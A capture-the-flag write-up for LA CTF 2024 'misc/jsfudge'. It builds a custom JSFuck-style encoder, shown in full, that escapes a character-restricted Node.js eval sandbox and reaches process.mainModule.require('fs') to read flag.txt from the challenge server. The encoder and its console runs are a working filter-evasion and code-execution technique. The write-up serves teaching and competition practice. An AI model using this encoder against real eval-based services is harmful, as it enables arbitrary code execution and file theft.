u.twoha.cc/ctf/lactf/misc_jsfudge.md

344 lines
13 KiB
Markdown
Raw Normal View History

2024-09-13 03:24:53 -04:00
---
title: 'LA CTF 2024: misc/jsfudge'
date: 2024-02-21
tags: ['ctf', 'ctf-misc', 'javascript']
---
## Task
> **misc/jsfudge**
>
> JsFudge this JsFudge that, why don't you JsFudge the flag.
>
> `nc chall.lac.tf 31130`
>
> [`Dockerfile`](https://chall-files.lac.tf/uploads/84b3fd350b2a27736462269c6ede4a9adf00cf5aeb6653f36cc91608e6e80331/Dockerfile) [`index.js`](https://chall-files.lac.tf/uploads/4bc1377c69bfa58cdfe43e78aed7270001ecdc43fe3a57cf7d32f835fc832b9e/index.js)
- `Author: r2dev2`
- `Points: 486`
- `Solves: 31 / 1074 (2.886%)`
## Writeup
This challenge prompts us for some JavaScript code to be evaluated and printed, with the constraint that the code must only consist of the characters `()+[]!`.
It's pretty obvious that the challenge wants us to give it some JSFuck code, given the title and the fact that JSFuck also only uses `()+[]!`.
Using an online JSFuck compiler, let's compile the following code:
```js
require('fs').readFileSync('flag.txt')
// => [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[]) ... (7384 chars total)
```
Now let's try giving this to the program:
```console
$ xclip -o | node index.js
Gimme some js code to run
oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'eundefinednsundefinedrundefinedeundefinedundefinedr')
at eval (eval at runCode (/tmp/index.js:3:88), <anonymous>:1:69)
at runCode (/tmp/index.js:3:88)
at /tmp/index.js:6:164
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
```
Well that's not what we wanted.
After a closer look at `index.js`, we notice that the `toString` method for arrays has been overwritten:
```js
// save the old array toString
const oldProto = [].__proto__.toString;
// replace it with a function that always returns '^w^'
[].__proto__.toString = () => '^w^';
// now converting any array to a string will return '^w^'
...
// eval our code
const codeRes = eval(code);
...
// restore array toString (not like it matters since the program will just exit after this anyways)
[].__proto__.toString = oldProto;
```
By default, converting an array to a string will result in the `toString` of each element joined by commas. Since JSFuck relies on this behavior, our compiled code does not function now that `[].__proto__.toString` has been overwritten.
We will have to implement our own JSFuck compiler, accounting for the new `toString`. However, we can copy many parts of the existing JSFuck compiler, as long as they do not rely on the value returned by `[].__proto__.toString`.
Let's start with some basic values:
```js
let vals = {
// unary ! converts the value to a bool, and arrays are truthy, so negating one gives us false
false: '![]',
// the negation of false is true
true: '!![]',
// unary + converts the value to a number
// [] is first converted to a string though
// +"^w^" => NaN
// if toString wasn't changed through, this would produce 0 instead
// (one of the changes messing up the default implementation of JSFuck here)
// +"" => 0
NaN: '+[]',
// create an empty array, access the property [].toString()
// []["^w^"] => undefined
undefined: '[][[]]',
// converting false to a number gives us 0
0: '+![]',
// converting true to a number gives us 1
1: '+!![]',
// 1 + 1 = 2
2: '+!![]+!![]',
// 1 + 1 + 1 = 3
3: '+!![]+!![]+!![]',
// etc.
4: '+!![]+!![]+!![]+!![]',
5: '+!![]+!![]+!![]+!![]+!![]',
6: '+!![]+!![]+!![]+!![]+!![]+!![]',
7: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
8: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
9: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
};
```
Let's also define ways to get specific characters:
```js
let chars = {
// (false + [])[0]
// => ("false" + "^w^")[0]
// => "false^w^"[0]
// => "f"
f: `(![]+[])[+![]]`,
// "false^w^"[1], etc.
a: `(![]+[])[+!![]]`,
l: `(![]+[])[!![]+!![]]`,
s: `(![]+[])[!![]+!![]+!![]]`,
e: `(!![]+[])[!![]+!![]+!![]]`,
// (true + [])[0]
// => "true^w^"[0], etc.
t: `(!![]+[])[+![]]`,
r: `(!![]+[])[+!![]]`,
u: `(!![]+[])[+!![]+!![]]`,
// (NaN + [])[0]
// => "NaN^w^"[0]
N: `(+[]+[])[+![]]`,
// (0 + [])[0]
// => "0^w^"[0], etc
0: `(${vals[0]}+[])[+![]]`,
1: `(${vals[1]}+[])[+![]]`,
2: `(${vals[2]}+[])[+![]]`,
3: `(${vals[3]}+[])[+![]]`,
4: `(${vals[4]}+[])[+![]]`,
5: `(${vals[5]}+[])[+![]]`,
6: `(${vals[6]}+[])[+![]]`,
7: `(${vals[7]}+[])[+![]]`,
8: `(${vals[8]}+[])[+![]]`,
9: `(${vals[9]}+[])[+![]]`,
};
```
Now let's define a function to generate code to produce a string, by obtaining each character and concatenating:
```js
function str(s) {
return s.split('').map(e => chars[e] ?? (console.log('undefined char:', e), process.exit(-1))).join('+')
}
```
Now that we can generate some strings, our next goal is to be able to execute strings as code. We can do this through the `Function` constructor, which takes a string argument and returns a function that executes the string when called. To obtain `Function` though, we will need a couple more characters.
```js
// []['flat'] + []
// => (array.flat function) + []
// => 'function flat() { [native code] }' + '^w^'
// => 'function flat() { [native code] }^w^'
flat = `([][${str('flat')}]+[])`;
// 'function flat() { [native code] }^w^'[2], etc.
chars.n = flat + `[${vals[2]}]`;
chars.c = flat + `[${vals[3]}]`;
chars.o = flat + `[${vals[6]}]`;
// now we can spell 'constructor', but we will also need i, (, and ) for later
chars.i = flat + `[${vals[5]}]`;
chars['('] = flat + `[${str('13')}]`;
chars[')'] = flat + `[${str('14')}]`;
// []['flat']['constructor']
// => (array.flat function).constructor
// => Function
vals[Function] = `[][${str('flat')}][${str('constructor')}]`;
// we might as well get the Number and String constructors as well now, as we'll need them later too
// '^w^^w^'.constructor
vals[String] = `([]+[])[${str('constructor')}]`;
// NaN.constructor
vals[Number] = `(+[])[${str('constructor')}]`;
// now we can generate code that executes a given string
function call(code) {
return `${vals[Function]}(${str(code)})()`
}
```
We only need a few more characters to execute `require("fs").readFileSync("flag.txt")`:
```js
// '^w^^w^'.fontcolor
// this function does the following:
// "string".fontcolor("blue") => '<font color="blue">string</font>'
fontcolor = `([]+[])[${str('fontcolor')}]`;
// '<font color="undefined">^w^</font>'[12]
chars['"'] = `${fontcolor}()[${str('12')}]`;
// '<font color="&quot;">^w^</font>'[14]
chars.q = `${fontcolor}(${chars['"']})[${str('14')}]`;
// 'function String() { [native code] }^w^'[14]
chars.g = `(${vals[String]}+[])[${str('14')}]`;
// (+"11e20" + [])[1]
// => (1.1e21 + [])[1]
// => "1.1e21^w^"[1]
chars['.'] = `(+(${str('11e20')})+[])[${vals[1]}]`;
// "undefined^w^"[2]
chars.d = `(${vals[undefined]}+[])[${vals[2]}]`;
// (+"1e1000" + [])[7]
// => (1e1000 + [])[7]
// => (Infinity + [])[7]
// => "Infinity^w^"[7]
chars.y = `(+(${str('1e1000')})+[])[${vals[7]}]`;
// 'function String() { [native code] }^w^'[9]
chars.S = `(${vals[String]}+[])[${vals[9]}]`;
// 'function Function() { [native code] }^w^'[9]
chars.F = `(${vals[Function]}+[])[${vals[9]}]`;
// (+"101").toString("34")[1]
// => (101).toString(34)[1]
// => "2x"[1]
// (2x is 101 in base 34)
chars.x = `(+(${str('101')}))[${str('toString')}](${str('34')})[${vals[1]}]`;
// now we have all the characters we need
// we can't rely on the console.log in index.js though, since we are running this code in a function
// we would need to prefix this with "return " if we wanted to use that console.log,
// but that would require us to get an extra character, the space after return
console.log(call(`console.log(require("fs").readFileSync("flag.txt"))`));
// [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (11534 chars total)
```
Running our program now will generate JSFuck code to print the flag. Let's pipe this into the challenge and get our flag:
```console
$ node jsfuck.js | nc chall.lac.tf 31130
Gimme some js code to run
oopsie woopsie stinki poopie ReferenceError: require is not defined
at eval (eval at <anonymous> (eval at runCode (/app/run:16:21)), <anonymous>:3:9)
at eval (eval at runCode (/app/run:16:21), <anonymous>:1:11532)
at runCode (/app/run:16:21)
at /app/run:31:5
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
```
We get another error, saying that `require` is not defined. That's odd, is `require` not able to used in an `eval` statement?
```console
$ node
Welcome to Node.js v21.6.1.
Type ".help" for more information.
> eval('require')
[Function: require] {
resolve: [Function: resolve] { paths: [Function: paths] },
main: undefined,
extensions: [Object: null prototype] {
'.js': [Function (anonymous)],
'.json': [Function (anonymous)],
'.node': [Function (anonymous)]
},
cache: [Object: null prototype] {}
}
```
Nope, this works just fine. Maybe it's the call to the `Function` constructor that is preventing `require` from being accessed.
```console
> eval('new Function("return require")()')
[Function: require] {
resolve: [Function: resolve] { paths: [Function: paths] },
main: undefined,
extensions: [Object: null prototype] {
'.js': [Function (anonymous)],
'.json': [Function (anonymous)],
'.node': [Function (anonymous)]
},
cache: [Object: null prototype] {}
}
```
This also doesn't seem to be a problem.
What's happening here is very subtle. In Node.js, although `require` appears to be part of the global scope, it actually belongs to the module scope. When a module is executed, it is wrapped into the following function to provide the values in module scope:
```js
(function(exports, require, module, __filename, __dirname) {
// Module code actually lives in here
});
```
For functions created with the `Function` constructor, the code is run in the global scope, so the module scope is not available.
So why were we able to get `require` in the code above? When Node.js is either run as a REPL or by piping a script into `node`, `require` is added to the global scope, letting us use it in code run through the `Function` constructor. (This caused me a lot of trouble since I was using a REPL to test my code). We can see this in action by running the following commands:
```console
$ echo "console.log(global.require === require)" > /tmp/test.js
$ cat /tmp/test.js | node
true
$ node /tmp/test.js
false
$ node
Welcome to Node.js v21.6.1.
Type ".help" for more information.
> global.require === require
true
```
So if we are unable to access `require` directly, is all hope lost?
It turns out that we can still access `require` through `process.mainModule.require`, requiring us to get some more characters:
```js
// (+"211").toString("31")[1]
// => (211).toString(31)[1]
// => "6p"[1]
chars.p = `(+(${str('211')}))[${str('toString')}](${str('31')})[${vals[1]}]`;
// "function Number() { [native code] }^w^"[11]
chars.m = `(${vals[Number]}+[])[${str('11')}]`;
// "function flat() { [native code] }^w^"[8]
chars[' '] = `([][${str('flat')}]+[])[${vals[8]}]`;
// Function("return escape")()([]["flat"])["54"]
// => escape([].flat)[54]
// => escape("function flat() { [native code] }")[54]
// => "function%20flat%28%29%20%7B%20%5Bnative%20code%5D%20%7D"[54]
// => "D"
chars.D = `${call('return escape')}([][${str('flat')}])[${str('54')}]`;
// Function("return Date")()()["26"]
// => Date()[26]
// => "Sun Feb 18 2024 00:00:00 GMT-0600 (Central Standard Time)"[26]
// (the part before "M" is always the same length, regardless of the actual date)
// => "M"
chars.M = `${call('return Date')}()[${str('26')}]`;
console.log(call(`console.log(process.mainModule.require("fs").readFileSync("flag.txt"))`));
// [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (19114 chars total)
```
Finally, we can generate code that will actually work:
```console
$ node jsfuck.js | nc chall.lac.tf 31130
Gimme some js code to run
<Buffer 6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a>
oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString')
at runCode (/app/run:17:25)
at /app/run:31:5
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
$ echo "6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a" | xxd -r -p
lactf{d0_y0u_f331_pr0ud}
```
Decoding the hex bytes of the buffer, we get the flag: `lactf{d0_y0u_f331_pr0ud}`
## Reference
- [JSFuck](https://jsfuck.com/)
- [JSFuck source](https://github.com/aemkei/jsfuck/blob/main/jsfuck.js)
- [Node module wrapper](https://nodejs.org/docs/latest/api/modules.html#the-module-wrapper)
- [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function)